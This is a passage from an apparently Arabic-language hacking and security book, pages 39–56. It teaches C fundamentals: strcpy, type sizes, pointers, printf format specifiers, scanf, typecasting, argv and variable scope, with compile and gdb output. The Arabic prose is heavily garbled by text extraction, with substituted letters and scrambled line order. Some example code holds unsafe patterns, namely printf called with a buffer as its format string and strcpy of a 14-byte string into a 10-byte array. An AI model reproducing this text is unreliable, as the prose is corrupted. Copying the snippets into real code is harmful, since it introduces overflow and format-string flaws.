‫التي تتعامل مع ذذه ال ‪ array‬بأن تتوقف عن القراءة عند ظهور ذذا ال ‪ null byte‬ويتم لمهال باقي ال ‪ buffer‬وكأنه‬
‫غري موجود‪.‬‬
‫فرتض يب أن أكتب كُل حرف ِبذه الطريقة البائ َسة عند َرغ َبتي بإدطال ‪string‬؟‬
‫ولكن ذل ُي َ َ‬
‫بالطبع ال!‪ ،‬سنستخدم ‪ Library‬تُسمى ‪ string.h‬وذ َي َستَقوم َلنا َِبذه األعامل‪َ ،‬دعنا نَرضب مثال‪:‬‬

‫سوف نكتُب اجلُ َمل التي نُريد‪ ،‬ثم نطلب من أحد ال ‪ functions‬التي ُط ِّص َ‬
‫صت للتعامل مع ال ‪ strings‬أو ال ‪Arrays‬‬

‫بنسخ ما كتبناه ووضعه داطل ال ‪ ،buffer‬دعنا ن َُج ِّرب ذذه ال ‪ function‬الرائعة التي ال يستخدمها أحد حالي ًا‪ ،‬ألن ُه‬
‫بذلك ُي َع ِّرض برناجمه هلجوم ال ‪ Buffer overflow‬بكل بساطة! ‪ ..‬لهنا ) (‪ ..strcpy‬الحظ أهنا تقوم بالنسخ‬
‫كالتايل‪strcpy (destination, source) :‬‬

‫‪ Hello,‬لىل ال ‪ buffer‬ا ُملسمى ‪ُ str_a‬ثم طباعته‪.‬‬ ‫!‪world‬‬ ‫يقوم الكود التايل بنسخ العبارة‬
‫>‪#include <stdio.h‬‬
‫>‪#include <string.h‬‬
‫{ )(‪int main‬‬
‫;]‪char str_a[20‬‬
‫;)"‪strcpy (str_a, "Hello, world!\n‬‬
‫;)‪printf (str_a‬‬
‫}‬

‫‪Programming‬‬
‫]‪[39‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Signed and Unsigned

،‫ بالنظام الثنائي‬memory ‫ قنحن نعني األعداد التي يتم ختزينها يف ال‬numerical values ‫عندما نتحدث عن ال‬
:‫ نقوم بتعريف ذذا ا ُملتغري كالتايل‬.)‫ أي (موجبة ققط‬Unsigned ‫ أو‬،)‫ أي (موجبة أو سالبة‬Signed ‫وذي لما أن تكون‬

َ ‫ أيض ًا ُيمكننا الت ََحكُّم باملساحة ا ُمل َخ‬،“unsigned int”


‫ سوا ًء بالزيادة أو بالنُقصان‬Numerical variable ‫صصة هلذا ال‬
.‫ َقبله‬short or long ‫وذلك بإضاقة‬
‫ُجرب ذذه ال‬
ِّ ‫ لن‬.‫ نريده‬data type ‫وظيفتها حتديد مساحة أي‬.. sizeof( ) ‫ تسمى‬C ‫ يف لغة ال‬function ‫توجد‬
:‫ كي نتعرف عىل مساحة بعض املُتغريات ا ُملهمة‬function
#include <stdio.h>
int main() {
printf("The 'int' data type is\t\t %d bytes\n",
sizeof(int));
printf("The 'unsigned int' data type is\t %d bytes\n",
sizeof(unsigned int));
printf("The 'short int' data type is\t %d bytes\n",
sizeof(short int));
printf("The 'long int' data type is\t %d bytes\n",
sizeof(long int));
printf("The 'long long int' data type is %d bytes\n",
sizeof(long long int));
printf("The 'float' data type is\t %d bytes\n",
sizeof(float));
printf("The 'char' data type is\t\t %d bytes\n",
sizeof(char));
}

:‫ لتقوم بطباعة يشء ما عىل الشاشة‬printf( ) ‫الحظ معي أننا استخدمنا‬

Programming
[40]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:‫ لتقوم بعملية العرض كام ييل‬%d ‫ وذي‬format specifier ‫لقد استخدمنا ما يسمى بال‬
.‫ التي قمنا بإدطاهلا له كام ذو موضح‬data types ‫سيقوم ذذا الكود بعرض مساحة ال‬
reader@hacking:~/booksrc $ gcc datatype_sizes.c
reader@hacking:~/booksrc $ ./a.out
The 'int' data type is 4 bytes
The 'unsigned int' data type is 4 bytes
The 'short int' data type is 2 bytes
The 'long int' data type is 4 bytes
The 'long long int' data type is 8 bytes
The 'float' data type is 4 bytes
The 'char' data type is 1 bytes
reader@hacking:~/booksrc $

Pointers

‫ أثناء َع َمل الربنامج وذلك‬current instruction ‫ ُيشري لىل ال‬pointer ‫) ذ َي عبارة َعن‬EIP register( ‫ت ََذكر أن ال‬
.instruction ‫ اخلاص َِبذه ال‬memory address ‫الحتوائها عىل ال‬
،functions ‫ نَحتاج باستمرار ل َع َمليات النّسخ للبيانات التي َيتم استخدامها بواسطة ال‬memory ‫أثناء التَعا ُمل َم َع ال‬

‫ ألنه يتطلب حجز‬،‫ نستدعيها‬function ‫ لكل‬memory ‫وبالتايل قليس م َن احلك َمة تكرار نسخ البيانات داطل ال‬
‫ َس َيكون األمر‬.!‫ قبل البدء ب َع َملية النّسخ‬memory ‫ لليها) يف ال‬data ‫ (التي سيتم نسخ ال‬destination ‫مساحة ال‬
‫ لنتحرك به بكُل ُح ّرية داطل ال‬pointer ‫ بدالً من ذلك ُيمكننا استخدام ال‬.!‫ ومستهلك ًا هلا‬memory ‫ُمهلك ًا لل‬
.blocks ‫ عن طريق اإلشارة لىل عناوين ال‬memory
We use pointers to point to the address of the beginning of that block of memory.
Pointers are 32 bits in size (4 bytes), and is defining by putting (*) to the variable name.

Programming
[41]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:‫دعنا نأطذ مثال‬


#include <stdio.h>
#include <string.h>

int main() {
char str_a[20]; // A 20-element character array
char *pointer; // A pointer, meant for a character array
char *pointer2; // another one
strcpy(str_a, "Hello, world!\n");
pointer = str_a; // Set the first pointer to the start of the array.
printf(pointer);
pointer2 = pointer + 2; // Set the second one 2 bytes further in.
printf(pointer2); // Print it.
strcpy(pointer2, "y you guys!\n"); // Copy into that spot.
printf(pointer); // Print again.
}

:‫ماييل نتائج ذذا الكود‬


reader@hacking:~/booksrc $ gcc -o pointer pointer.c
reader@hacking:~/booksrc $ ./pointer
Hello, world!
llo, world!
Hey you guys!
reader@hacking:~/booksrc $

Programming
[42]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ُقمنا بنَسخ ”!‪َ “Hello, world‬و َو َضعناذا داطل ‪ُ ،str_a‬ثم َج َعلنا ‪ُ pointer‬يشري لليها َبعد أن ُقمنا بتَعريفه قوق عىل أنه‬
‫”‪ُ ،“char pointer points to char array‬ثم َجعلنا ‪ُ pointer2‬يشري لىل )‪ (pointer + 2bytes‬بمعنى أنه سيقفز مقدار‬
‫حرقني ليتجاذل ‪ ،He‬وعند استخدام ) (‪ printf‬لعرض ذذا ال ‪ pointer2‬سيظهر لنا ”!‪ .“llo, world‬ثم ُقمنا بنسخ‬
‫ُ‬
‫حيث ُيشري ال ‪ .pointer2‬ذذا يعني أن ُه َس َيحدُ ث تَعديل يف ذذه ال‬ ‫عباره ُأطرى ذ َي ”!‪ ،“y you guys‬ووضعناذا‬
‫‪ String‬بأن سيتم استبدال ”!‪ “llo, world‬بالعبارة ”!‪.“y you guys‬‬

‫ولكن أين ُيشري ذذا ال ‪.. pointer2‬؟‬


‫َحن ُذنا تَركنا أول ‪2‬‬
‫لن ُه ُيشري لىل بداية ال ‪ byte‬الثالث يف ال "‪ ."str_a‬تذكر أن ‪ُ pointer‬يشري لىل بداية "‪ ،"str_a‬ون ُ‬
‫دون تَعديل‪ ،‬وذم ”‪ُ ،“He‬ثم نَسخنا عبارة َجديدة!‪ ،‬ستبدأ من ال ‪ byte‬الثالث يف ذذه ال ‪character‬‬
‫‪ِ bytes‬با َ‬
‫‪ ،array‬وأطري ًا طلبنا من ال ) (‪َ printf‬عرض ال ‪ array‬التي يشري لليها ذذا ال ‪ pointer‬باستدعاؤه‪ ،‬قتكون النتيجة‬
‫”!‪.“Hey you guys‬‬

‫الح َظة صغرية‪:‬‬


‫ُم َ‬
‫ت ََذكر أن ال ‪ integer‬ذاته ي َقع يف م ٍ‬
‫كان ما داطل ال ‪ ،memory‬ولنَفرض أن ال ‪ address‬اخلاص به داطل ال ‪memory‬‬ ‫َ‬ ‫َ‬
‫ذو ‪ُ 0xbffff8a‬ثم ُقمنا بتعريف ‪َ pointer‬‬
‫وج َعلناه ُيشري لىل ذذ ال ‪ ،int‬ذذا ال ‪ pointer‬عندما نستدعيه باستخدام‬
‫الدالة ) (‪ printf‬سيعرض لنا عنوان ال ‪ memory‬الذي يقع ذذا ال ‪ int‬بداطله‪ ،‬وذو ‪ُ .0xbffff8a‬يمكنُنا طباعة ذذا‬
‫العنوان )‪ (the memory address of a variable‬أيض ًا بطريقة أطرى!‪:‬‬
‫باستخدام ”‪ُ “the address-of operator‬ير َمز ل ُه بعالمة )&(‪ .‬قعندَ استخدام ‪ &int‬داطل ال ) (‪َ printf‬س ُيعطي َلنا‬
‫‪ 0xbffff8a‬أيض ًا!‪.‬‬

‫‪Programming‬‬
‫]‪[43‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:‫ عند استخدام )&( مع أحد املتغريات؟؟‬return ‫ كيف سيكون ال‬..‫واآلن‬


The address of that variable, instead of the variable itself .

“& operator” ‫ وباستخدام ال‬Hex ‫ اخلاص به بصيغة ال‬Address ‫ماييل مثال ُملتغري نقوم بطباعة ال‬
int A = 7;
printf("variable A is at address: %08x\n", &A);

‫؟‬..pointer ‫ولكن ماذا لن َو َضعنا ذذا ال "&" َقب َل ال‬

‫ الذي‬address ‫“ َبدَ الً من ال‬Address-of that pointer” ‫ َس َيقوم ب َعرض ال‬،"address-of "‫بام أن ُه َيقوم ب َعرض ال‬
.!pointer ‫ُيشري لليه ذذا ال‬

:‫ذيا لنقوم بتفكيك ذذا اإلشكال يف املثال التايل‬

GDB Debugger ‫ له باستخدام‬debug ‫ماييل كود تَم َع َمل‬


reader@hacking:~/booksrc $ gcc -g addressof.c
reader@hacking:~/booksrc $ gdb -q ./a.out
Using host libthread_db library
"/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) list

1 #include <stdio.h>
2
3 int main() {
4 int int_var = 5;
5 int *int_ptr;
6
7 int_ptr = &int_var; // Put the address of int_var into int_ptr.

Programming
[44]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

8 }
(gdb) break 8
Breakpoint 1 at 0x8048361: file addressof.c, line 8.
(gdb) run
Starting program: /home/reader/booksrc/a.out
Breakpoint 1, main () at addressof.c:8
8 }
(gdb) print int_var ‫هنا نطلب عرض قيمة أو محتوى المتغير‬
$1 = 5
(gdb) print &int_var ‫ الذي يحمل هذا المتغير وليس قيمته‬block of memory ‫هنا طلبنا عرض عنوان ال‬
$2 = (int *) 0xbffff804
(gdb) print int_ptr )‫ وهو (مكان المتغير الذي يشير إليه‬pointer ‫هنا طلبنا عرض مايحويه هذا ال‬
$3 = (int *) 0xbffff804
(gdb) print &int_ptr !‫ في حد ذاته داخل الميموري‬pointer ‫وهنا طلبنا عرض مكان هذا ال‬
$4 = (int **) 0xbffff800
(gdb)

..Typecasting ‫ يف ققرة ال‬pointers ‫سنعاود احلديث عن ال‬

Format Strings

‫ َقيُمكننا لدراج ال‬،‫وذناك استخدامات أطرى ُهلا‬


ُ ،‫ يتم استخدامها لطباعة مانُريده عىل الشاشة‬printf( ) ‫كام نعلم أن‬
.‫ بداطلها لتقوم بإظاذر نَتائج ا ُملتغريات بصيغ ُُمتلفة‬format strings
“This function can use format strings to print variables in many different format”

.‫ماييل بعض أشكاهلا‬

Programming
[45]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪Parameter‬‬ ‫‪Output Type‬‬


‫‪%d‬‬ ‫‪Decimal‬‬
‫‪%u‬‬ ‫‪Unsigned decimal‬‬
‫‪%x‬‬ ‫‪Hexadecimal‬‬

‫‪%s‬‬ ‫‪String‬‬
‫‪%n‬‬ ‫‪Number of bytes written‬‬

‫أول ثالثة يف اجلدول ُذم ‪ format parameters‬تقوم بعرض ال "‪ "data‬بص َيغ ُُمتلفة حسب احلاجة‪.‬‬
‫توجد أنواع أطرى من ال ‪ُ format strings‬يمكننا استخدامها ل َعرض ‪ data‬وال "‪ "address-of-data‬يف نفس‬
‫الوقت‪ .‬يف املثال التايل سنَستَخدم ال (‪ )%s‬لطباعة ال ‪ string‬حتى تَصل لىل ال ‪ُ ،null character‬ثم نقوم باستخدام‬
‫الصي َغة )‪ (%x‬لط َ‬
‫باعة ال "‪."address-of that string in the memory‬‬

‫أيض ًا سنستخدم )‪ (%08x‬مع ال ”‪ “dereferencing operator‬وذو )&( ل َعرض ‪ُ address-of‬ملتغري نوعه ‪ integer‬يف‬
‫آطر سطر يف الكود‪.‬‬

‫ولكن ماذا تعني الصيغة )‪ (%08x‬؟‪.‬‬

‫تعني اطبع يل ‪ 8 bytes‬بصيغة ‪.hexadecimal‬‬

‫وملاذا َو َضعنا صفر َقبل الرقم ‪..(%08x) 8‬؟‬

‫س ُأ ُ‬
‫طربك عقب املثال التايل‪:‬‬

‫‪Programming‬‬
‫]‪[46‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

#include <stdio.h>

int main() {

char string[10];
int A = -73;
unsigned int B = 31337;
strcpy(string, "sample");

// Example of printing with different format string


printf("[A] Dec: %d, Hex: %x, Unsigned: %u\n", A, A, A);
printf("[B] Dec: %d, Hex: %x, Unsigned: %u\n", B, B, B);
printf("[field width on B] 3: '%3u', 10: '%10u', '%08u'\n",
B, B, B);
printf("[string] %s Address %08x\n", string, string);

// Example of unary address operator (dereferencing) and a %x format string


printf("variable A is at address: %08x\n", &A);
}

:‫لنُشاذد نتائج ذذا الكود الرائع‬


reader@hacking:~/booksrc $ gcc -o fmt_strings fmt_strings.c
reader@hacking:~/booksrc $ ./fmt_strings
[A] Dec: -73, Hex: ffffffb7, Unsigned: 4294967223
[B] Dec: 31337, Hex: 7a69, Unsigned: 31337
[field width on B] 3: ‘31337’, 10: ‘ 31337’, ‘00031337’
[string] sample Address bffff870
variable A is at address: bffff86c
reader@hacking:~/booksrc $

.. !‫ماذذا الذي حيدث‬


..‫ بثالث صيغ‬A ‫أول نتائج كانت َختُص َعرض ا ُملتغري‬

Programming
[47]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ُثم ُقمنا يف السطر الثاين ب َعرض ا ُملت َغري ‪ B‬أيض ًا ب َثالثة ص َيغ‪ ..‬وتَذكر أن ‪ Unsigned‬ال تَعرض ق َيم سالبة!‪..‬‬

‫ُثم نأيت للسطر الثالث وذو ال "‪:"field width on B‬‬

‫‪%3u‬‬ ‫قنحن نقصد ختصيص حد أدنى من املساحة للمخرجات‪ ،‬قمثالً وضع‬


‫ُ‬ ‫‪%u‬‬ ‫ُذنا عندَ ما نكتُب رقم بجانب ال‬

‫نقصد ِبا‪َ ..‬جيب أال تَقل مساحة ا ُملخرجات عن ‪ ..3 bytes‬ولكن يف حالتنا ُذنا‪ُ ..‬‬
‫نحن نمتلك ‪ ..5 bytes‬لذ ًا سنقوم‬
‫بعمل ‪ expand‬للمساحة‪ ..‬ألن الرشط حدد لنا احلد األدنى ققط!‪ُ ..‬ثم َط َلبنا من ُه لظهار الناتج بحد أدنى يف مساحة‬
‫‘ بأنه َو َض َع َلنا َخس َمساقات ُثم ََخسة أرقام!‪.‬‬ ‫‪ُ ،10‬ذنا سيقوم بملئ باقي املساحة ب ‪ spaces‬كام تالحظ ’‪31337‬‬

‫يف الطلب الثالث حددنا له ‪ %08x‬بام أننا وضعنا رقم ‪ zero‬قبل ال ‪ 8‬قنحن نُريد َع َمل ‪ padding‬بق َيم ‪.. 0‬ققط َمللئ‬

‫باقي ال ‪ 8 bytes‬بأصفار وذلك ألننا نَعرض القيمة بال ‪ .! Hex‬قتكون ا ُمل َ‬


‫خرجات كَام تَرى‪‘00031337’ :‬‬

‫لقد َو َض َع َلنا ثالثة أصفار ُثم ال ََخ َسة أرقام لتَكتَمل ال ‪.8 bytes‬‬

‫َعرف عليها‪ ،‬لهنا ) (‪،Scanf‬‬


‫توجد ‪ function‬أطرى تنتمي لعائلة ال ‪ Standard Input/Output functions‬ن ََود أن َتت ّ‬
‫وتُشبه ) (‪ printf‬يف الوظيفة لال أهنا تتعامل مع ا ُملدطالت بينام تتعامل األطرى مع املُخرجات!‪ .‬من طصائصها أيض ًا‬
‫أهنا تتعامل مع ال ”‪ “address of variables‬عوض ًا عن ال ‪ variables‬ذاهتا‪ ،‬بمعنى أنك ستقوم بتَعريف ا ُملتَغري‬
‫‪ int var‬مثالً‪ُ ،‬ثم عند رغبتك بإدطاله لىل ) (‪ scanf‬ستُدطل ُه كالتايل "‪."&var‬‬

‫ذيا لنُشاذد مثال عىل ذلك‪:‬‬

‫‪Programming‬‬
‫]‪[48‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

#include <stdio.h>
#include <string.h>

int main() {

char message[10];
int count, i;
strcpy(message, "Hello, world!");
printf("Repeat how many times? ");
scanf("%d", &count);
for(i=0; i < count; i++)
printf("%3d - %s\n", i, message);
}

‫ بل ستتعامل مع ال‬،"count" ‫ ولكنها لن تتعامل مع ا ُملتغري نفسه‬decimal value ‫ ستنتظر منا‬scanf( ) ‫كام ترى قإن‬
.“address of count in memory”
.“dereferencing operator” ‫ َقوق ُثم أدطلناه لليها باستخدام ال‬count ‫للمتغري‬
ُ declare ‫وهلذا ُقمنا ب َع َمل‬

‫ بنا ًء عىل عدد املرات التي َسنَقوم بتَحديدذا بعد ظهور‬string ‫( كي يسمح لنا ب َع َمل تكرار لل‬i) ‫أيض ًا َعرقنا ُمتغري آطر‬
."Repeat how many times" ‫الرسالة‬

:‫ماييل النتائج‬
reader@hacking:~/booksrc $ gcc -o input input.c
reader@hacking:~/booksrc $ ./input
Repeat how many times? 3
0 - Hello, world!
1 - Hello, world!
2 - Hello, world!

Programming
[49]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

reader@hacking:~/booksrc $ ./input
Repeat how many times? 12
0 - Hello, world!
1 - Hello, world!
2 - Hello, world!
3 - Hello, world!
4 - Hello, world!
5 - Hello, world!
6 - Hello, world!
7 - Hello, world!
8 - Hello, world!
9 - Hello, world!
10 - Hello, world!
11 - Hello, world!
reader@hacking:~/booksrc $

‫ سننتقل اآلن ملفهوم جديد ذو ال‬،format strings ‫ِبذا أظن أنه قد استقرت يف أذذاننا أساليب استخدام ال‬
.Typecasting

Typecasting

‫فهم ال‬ ٍ ‫بم‬


َ ‫ َي‬.‫ بغض النظر عن نوعه أثناء تعريفنا لياه‬،‫تغري ما‬ ُ ‫ اخلاص‬data type ‫ذو عبارة عن طريقة ُمؤقتة لتغيري ال‬
.‫ ققط هلَذه العملية‬..‫ ا ُملعطى ل ُه‬new type ‫ أن ُه سيتعامل َمع ذذا ا ُملتغري بنا ًء عىل ال‬compiler

:‫تكون صيغته كام ييل‬


(typecast_data_type) var

Programming
[50]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:‫لنأطذ مثال‬
#include <stdio.h>

int main() {
int a, b;
float c, d;
a = 13;
b = 5;
c = a / b; // Divide using integers.
d = (float) a / (float) b; // Divide integers typecast as floats.

printf("[integers]\t a = %d\t b = %d\n", a, b);

printf("[floats]\t c = %f\t d = %f\n", c, d);


}

:‫النتائج‬
reader@hacking:~/booksrc $ gcc typecasting.c
reader@hacking:~/booksrc $ ./a.out
[integers] a = 13 b = 5
[floats] c = 2.000000 d = 2.600000
reader@hacking:~/booksrc $

‫ ذل تعلم ماذا سيكون‬mod ‫ لو طلبنا ال‬..‫ واآلن‬،‫ ققط‬2 ‫ سيكون‬int ‫كام ترى قإن ناتج القسمة يف حالة استخدام ال‬
.‫الناتج ؟‬
:ً‫ قمثال‬..‫ ُحمَد َدة‬pointers ‫ قإنه حيتاج أن تكون ال‬..‫ معه‬compiler ‫ أثناء تَعا ُمل ال‬Pointers ‫ُذناك ُمالحظة َختُص ال‬
“An integer pointer should point to integer data, while a character pointer should only point to
character data”.
.1 byte ‫ مساحة‬char ‫ بينام يشغل ال‬،4 bytes ‫ مساحة قدرذا‬integer ‫ يشغل ال‬..‫وبصورة عامة‬

Programming
[51]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Size of an int is 4 bytes on most architectures, and the size of a char is 1 byte.

َ ‫َأطذ مثال‬
:!‫آطر‬ ُ ‫لن‬
‫ ذذا ال‬،pointer ‫ لعرض ُحمتويات ال‬printf( ) ‫) داطل ال‬%p(‫ وذو‬..‫ جديد‬format parameter ‫ستُالحظ استخدام‬
‫ وذي الصيغة ا ُملناسبة ل َعرض‬،Hexadecimal ‫( ب َمعنى أننا نُريد عرض النتائج بال‬0x%08x) ‫) ُيشبه متام ًا الصيغة‬%p(
.memory address ‫ال‬
#include <stdio.h>
int main() {
int i;
char char_array[5] = {'a', 'b', 'c', 'd', 'e'};
int int_array[5] = {1, 2, 3, 4, 5};
char *char_pointer;
int *int_pointer;
char_pointer = char_array;
int_pointer = int_array;
for(i=0; i < 5; i++) { // Iterate through the int array with the int_pointer.
printf("[integer pointer] points to %p, which contains the integer
%d\n", int_pointer, *int_pointer);
int_pointer = int_pointer + 1;
}

for(i=0; i < 5; i++) { // Iterate through the char array with the char_pointer.
printf("[char pointer] points to %p, which contains the char
'%c'\n", char_pointer, *char_pointer);
char_pointer = char_pointer + 1;
}
}

‫ كُل منهم ُيشري لىل‬two pointers ‫ ُثم َعرقنا‬،‫ حتتويان عىل ََخسة َعنارص‬arrays ‫كام ترى ققد ُقمنا بتَعريف نَو َعني م َن ال‬
.(char_pointer = char_array;) ‫ ا ُملناظرة له‬array ‫ال‬

Programming
[52]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ثم قمنا بالدطول لىل دالة ‪ for‬لنجعل ال ‪ pointer‬يدور داطلها بدء ًا من الرقم ‪ 1‬حتى الرقم ‪ ..5‬سيقوم بطباعة أمرين‪:‬‬
‫ُ‬
‫حيث أن ال ‪َ pointer‬س ُيشري لىل عنوان الرقم‬ ‫‪ ‬األول ذو ال "‪"address of that number in memory‬‬

‫املطلوب داطل امليموري! وذلك ب ُمجرد استدعاء لل ‪ pointer‬كالتايل‪:‬‬


‫;)‪printf("[integer pointer] points to %p\n", int_pointer‬‬

‫‪ ‬والثاين ذو الرقم ذاته الذي يشري لليه ذلك ال ‪ ،pointer‬وذلك ببساطة‪ ،‬بأن نستدعي ال ‪ pointer‬أيض ًا لكن‬

‫سنضع قبله (*) وكأننا نقول له " َأطرج لنا ما حيويه ذذا ال ‪ block‬الذي تُشري لليه"!‪.‬‬

‫وذا ذ َي الصيغة‪:‬‬
‫;)‪printf("[integer pointer] points to %d\n", *int_pointer‬‬

‫الحظ أنه بعد أن يبدأ ال ‪ pointer‬ب َعرض ال ‪ُ address‬ثم ب َعرض ُحمتواه‪َ ،‬سينتقل لىل ‪ instruction‬التالية داطل دالة‬
‫‪ for‬وذي‪:‬‬
‫;‪int_pointer = int_pointer + 1‬‬
‫تواجد الرقم ‪..2‬‬ ‫أي ُأنه َس َينتقل ل ُيشري لىل ال ‪ address‬التايل داطل املصفوقة‪ُ ،‬‬
‫حيث َي َ‬

‫لذ ًا‪ ..‬كَم ‪َ byte‬س َيقوم ب َقفزذا؟‪..‬‬


‫وبعد زيادة قيمة ال ‪ pointer‬سيزداد ال َعداد ‪ُ .. ،i++‬نك َِّرر ال َعملية لىل أن نَصل لىل الرقم ‪ُ .5‬ثم نَخ ُرج بعدذا طارج‬
‫الدالة!‪ُ .‬ثم ننتقل لىل َمصفوقة ال ‪ characters‬و ُنك َِّرر ما رشحناه‪.‬‬

‫‪Programming‬‬
‫]‪[53‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:‫نتائج الكود‬
reader@hacking:~/booksrc $ gcc pointer_types.c
reader@hacking:~/booksrc $ ./a.out
[integer pointer] points to 0xbffff7f0, which contains the integer 1
[integer pointer] points to 0xbffff7f4, which contains the integer 2
[integer pointer] points to 0xbffff7f8, which contains the integer 3
[integer pointer] points to 0xbffff7fc, which contains the integer 4
[integer pointer] points to 0xbffff800, which contains the integer 5
[char pointer] points to 0xbffff810, which contains the char 'a'
[char pointer] points to 0xbffff811, which contains the char 'b'
[char pointer] points to 0xbffff812, which contains the char 'c'
[char pointer] points to 0xbffff813, which contains the char 'd'
[char pointer] points to 0xbffff814, which contains the char 'e'
reader@hacking:~/booksrc $

ً ‫ قمث‬."4 bytes" ‫ يزداد بمقدار‬integer pointer ‫الحظ أن ال‬


‫ وذلك باملرور عىل‬C ‫ اىل احلرف‬8 ‫ال انتقلنا من العدد‬
‫ وبعدذا يعود لىل‬،f ‫ حيث آطر حرف ُمتاح ذو‬Hexadecimal ‫ وذذا ألننا نتعامل بنظام ال‬،9, A, B, C :‫األرقام‬
‫ بمقدار‬character pointer ‫ ويف ا ُملقابل يزداد ال‬.0xbffff800 ‫ لىل‬0xbffff7fc ‫ كام احلال يف االنتقال من‬،‫الصفر‬
.‫" كام يظهر‬1 byte"

:‫ماور َد يف املثال السابق‬ ِّ ‫ذذه األسطر ت‬


ُ ‫ُلخص لك‬
A char is 1 byte, an int is (typically) 4 bytes. When you increment a pointer, you increment by
the size of the data being pointed to. So, when you increment a char*, you increment by 1 byte,
and when you increment an int*, you increment 4 bytes.

Programming
[54]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪Command Line Arguments‬‬

‫نستخدم ذذا النوع من املدطالت يف حالة الربامج التي ال حتتوي عىل ‪ GUI‬حيث ال حتتاج لىل أي ‪ Interaction‬يف‬
‫الغالب من ق َبل ال ‪ users‬بعد أن يبدأ الربنامج بالعمل‪ ،‬قهي ال تستقبل ال ‪ inputs‬عرب دالة ال ) (‪ scanf‬التقليدية‪،‬‬
‫ولكن يمكنك لضاقة ال ‪ arguments‬التي تود أن يستقبلها الربنامج بأن تقوم بكتابتها بعد لسم الربنامج‪ُ ،‬‬
‫حيث ُيعترب‬
‫لسم الربنامج ]‪ argument [0‬ثم يأيت بعدذا ما تُدط ُل ُه أنت‪ .‬نستخدم ذذا النوع من املدطالت بشكل ملحوظ يف بيئة‬
‫ال ‪ DOS‬و ‪.Linux Terminal‬‬

‫سنقوم بتعريف ال ‪ arguments‬يف ال ) (‪ main‬ألهنا أول ‪ُ Function‬يشري لليها ال ‪ EIP‬عند بداية عمل الربنامج‪،‬‬
‫عترب ك َعداد لتَحديد عدد ال ‪ Arguments‬ا ُملراد لدطاهلا‪..‬‬
‫املهم‪ ..‬سنقوم بإضاقة ‪ُ integer‬ي َ‬
‫ُثم "‪ ،"pointer to an array of strings‬ذذه ال ‪ array‬ستكون ال ‪ arguments‬ذاهتا‪.‬‬
‫ذذه ذي صيغتها‪:‬‬
‫)][‪int main(int argc, char *argv‬‬

‫لنُعطي مثال‪:‬‬
‫>‪#include <stdio.h‬‬

‫{ )][‪int main(int arg_count, char *arg_list‬‬

‫;‪int i‬‬
‫;)‪printf("There were %d arguments provided:\n", arg_count‬‬
‫)‪for(i=0; i < arg_count; i++‬‬
‫;)]‪printf("argument #%d\t - \t%s\n", i, arg_list[i‬‬
‫}‬

‫‪Programming‬‬
‫]‪[55‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ قسيستقبل منّا ذذا الكود أي عدد من ال‬،!‫ ا َملطلوب لدطاهلا ُمسبق ًا‬arguments ‫يبدو أننا مل ن َُحدِّ د عدد ال‬
ُ
‫حيث تعرض ترتيب ال‬ printf( ) ‫ ُثم يقوم بطباعته لنا عىل الشاشة باستخدام دالة‬،‫ نقوم بإدطاله‬Arguments

.‫ ا ُملناظ َرة َهلا‬string ‫دط َلة و ال‬


َ ‫ ا ُمل‬argument
:‫ماييل النتائج‬
reader@hacking:~/booksrc $ gcc -o commandline commandline.c
reader@hacking:~/booksrc $ ./commandline
There were 1 arguments provided:
argument #0 - ./commandline

reader@hacking:~/booksrc $ ./commandline this is a test


There were 5 arguments provided:
argument #0 - ./commandline
argument #1 - this
argument #2 - is
argument #3 - a
argument #4 - test
reader@hacking:~/booksrc $

‫ ُثم ُقمنا بإدطال َجمموعة كلامت ك‬.‫ظهر باألعىل‬


َ ‫ كَام َي‬Argument ‫الحظ أن اسم الربنامج يف حد ذاته ُيعت ََرب أول‬
.‫ ليتم طباعتها‬Arguments

Variable Scoping

‫ ُيمكن لل‬.“Global” ‫“ أو‬Local” ‫ قهي لما‬..‫ من َحيث طريقة تعريفها‬variables ‫سنتكلم اآلن عن أنواع ال‬
‫ ونُطلق‬،function ‫ هلا داطل ال‬declare ‫ وذي املتغريات التي يتم عمل‬،‫ أن متتلك املتغريات اخلاصة ِبا‬functions
.“Local variables” ‫عليها‬

Programming
[56]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:variables ‫سنأطذ مثال لتوضيح ذذا النوع من ال‬


#include <stdio.h>

void func3() {
int i = 11;
printf("\t\t\t[in func3] i = %d\n", i);
}

void func2() {
int i = 7;
printf("\t\t[in func2] i = %d\n", i);
func3();
printf("\t\t[back in func2] i = %d\n", i);
}

void func1() {
int i = 5;
printf("\t[in func1] i = %d\n", i);
func2();
printf("\t[back in func1] i = %d\n", i);
}

int main() {
int i = 3;
printf("[in main] i = %d\n", i);
func1();
printf("[back in main] i = %d\n", i);
}

‫ ُذنا ال ُبد أن تنتهي‬،func1 ‫ لل‬call ‫ َب َع َمل‬main( ) ‫ ُثم تقوم ال‬،3 ‫ ليقوم بطباعة الرقم‬main( ) ‫سيبدأ الربنامج عند ال‬
